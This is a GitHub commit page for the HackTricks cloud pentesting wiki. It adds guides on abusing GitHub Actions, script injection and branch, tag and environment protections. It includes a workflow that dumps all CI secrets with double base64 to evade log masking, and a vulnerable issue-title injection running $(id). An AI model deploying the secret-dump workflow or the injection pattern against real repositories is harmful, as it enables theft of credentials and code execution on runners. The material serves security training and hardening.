Skip to content

Commit 5a02715

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents 5860267 + b0c5ab0 commit 5a02715

File tree

10 files changed

+395
-4
lines changed

10 files changed

+395
-4
lines changed

searchindex.js

Lines changed: 5 additions & 1 deletion
Large diffs are not rendered by default.

src/SUMMARY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -96,6 +96,7 @@
9696
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
9797
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
9898
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
99+
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
99100
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
100101
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
101102
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -461,6 +462,7 @@
461462
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
462463
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)
463464
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
465+
- [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md)
464466
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
465467
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
466468
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -173,6 +173,9 @@ In case members of an organization can **create new repos** and you can execute
173173
174174
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
175175
176+
> [!WARNING]
177+
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
178+
176179
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
177180

178181
```yaml
@@ -567,6 +570,30 @@ jobs:
567570
key: ${{ secrets.PUBLISH_KEY }}
568571
```
569572

573+
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
574+
575+
```yaml
576+
name: Steal secrets
577+
on:
578+
push:
579+
branches: [ attacker-branch ]
580+
jobs:
581+
dump:
582+
runs-on: ubuntu-latest
583+
steps:
584+
- name: Double-base64 the secrets context
585+
run: |
586+
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
587+
```
588+
589+
Decode locally:
590+
591+
```bash
592+
echo "ZXdv...Zz09" | base64 -d | base64 -d
593+
```
594+
595+
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
596+
570597
### Abusing Self-hosted runners
571598

572599
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
@@ -650,6 +677,10 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
650677
> [!WARNING]
651678
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
652679

680+
## References
681+
682+
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
683+
653684
{{#include ../../../banners/hacktricks-training.md}}
654685

655686

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,103 @@
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

5+
## Understanding the risk
56

7+
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
8+
9+
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
10+
11+
Key points:
12+
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
13+
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
14+
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
15+
16+
## Vulnerable pattern → RCE on runner
17+
18+
Vulnerable workflow (triggered when someone opens a new issue):
19+
20+
```yaml
21+
name: New Issue Created
22+
on:
23+
issues:
24+
types: [opened]
25+
jobs:
26+
deploy:
27+
runs-on: ubuntu-latest
28+
permissions:
29+
issues: write
30+
steps:
31+
- name: New issue
32+
run: |
33+
echo "New issue ${{ github.event.issue.title }} created"
34+
- name: Add "new" label to issue
35+
uses: actions-ecosystem/action-add-labels@v1
36+
with:
37+
github_token: ${{ secrets.GITHUB_TOKEN }}
38+
labels: new
39+
```
40+
41+
If an attacker opens an issue titled $(id), the rendered step becomes:
42+
43+
```sh
44+
echo "New issue $(id) created"
45+
```
46+
47+
The command substitution runs id on the runner. Example output:
48+
49+
```
50+
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
51+
```
52+
53+
Why quoting doesn’t save you:
54+
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
55+
56+
## Safe pattern (shell variables via env)
57+
58+
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
59+
60+
```yaml
61+
# safe
62+
jobs:
63+
deploy:
64+
runs-on: ubuntu-latest
65+
steps:
66+
- name: New issue
67+
env:
68+
TITLE: ${{ github.event.issue.title }}
69+
run: |
70+
echo "New issue $TITLE created"
71+
```
72+
73+
Notes:
74+
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
75+
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
76+
77+
## Reader-triggerable surfaces (treat as untrusted)
78+
79+
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
80+
- issues, issue_comment
81+
- discussion, discussion_comment (orgs can restrict discussions)
82+
- pull_request, pull_request_review, pull_request_review_comment
83+
- pull_request_target (dangerous if misused, runs in base repo context)
84+
- fork (anyone can fork public repos)
85+
- watch (starring a repo)
86+
- Indirectly via workflow_run/workflow_call chains
87+
88+
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
89+
90+
## Practical tips
91+
92+
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
93+
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
94+
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
95+
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
96+
97+
## References
98+
99+
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
100+
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
101+
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
102+
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
103+
104+
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/basic-github-information.md

Lines changed: 22 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -190,8 +190,12 @@ jobs:
190190
```
191191
192192
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
193-
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
193+
Additionally, environment protections include:
194+
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
195+
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
196+
- **Wait timer**: delay deployments for a configurable period.
194197
198+
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
195199
### Git Action Runner
196200
197201
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
@@ -231,10 +235,11 @@ Different protections can be applied to a branch (like to master):
231235
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
232236
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
233237
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
238+
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
234239
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
235240
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
236241
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
237-
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
242+
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
238243
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
239244
- **Require signed commits**. The commits need to be signed.
240245
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
@@ -244,15 +249,29 @@ Different protections can be applied to a branch (like to master):
244249
> [!NOTE]
245250
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
246251

252+
## Tag Protections
253+
254+
Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
255+
256+
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
257+
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
258+
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
259+
260+
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
261+
247262
## References
248263

249264
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
250265
- [https://docs.github.com/en/[email protected]/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/[email protected]/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/[email protected]/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
251266
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
252267
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
253268
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
269+
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
270+
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
271+
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
272+
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
273+
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
254274

255275
{{#include ../../banners/hacktricks-training.md}}
256276

257277

258-

src/pentesting-cloud/azure-security/az-post-exploitation/README.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,8 @@
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

5+
{{#ref}}
6+
az-azure-ai-foundry-post-exploitation.md
7+
{{#endref}}
58

9+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)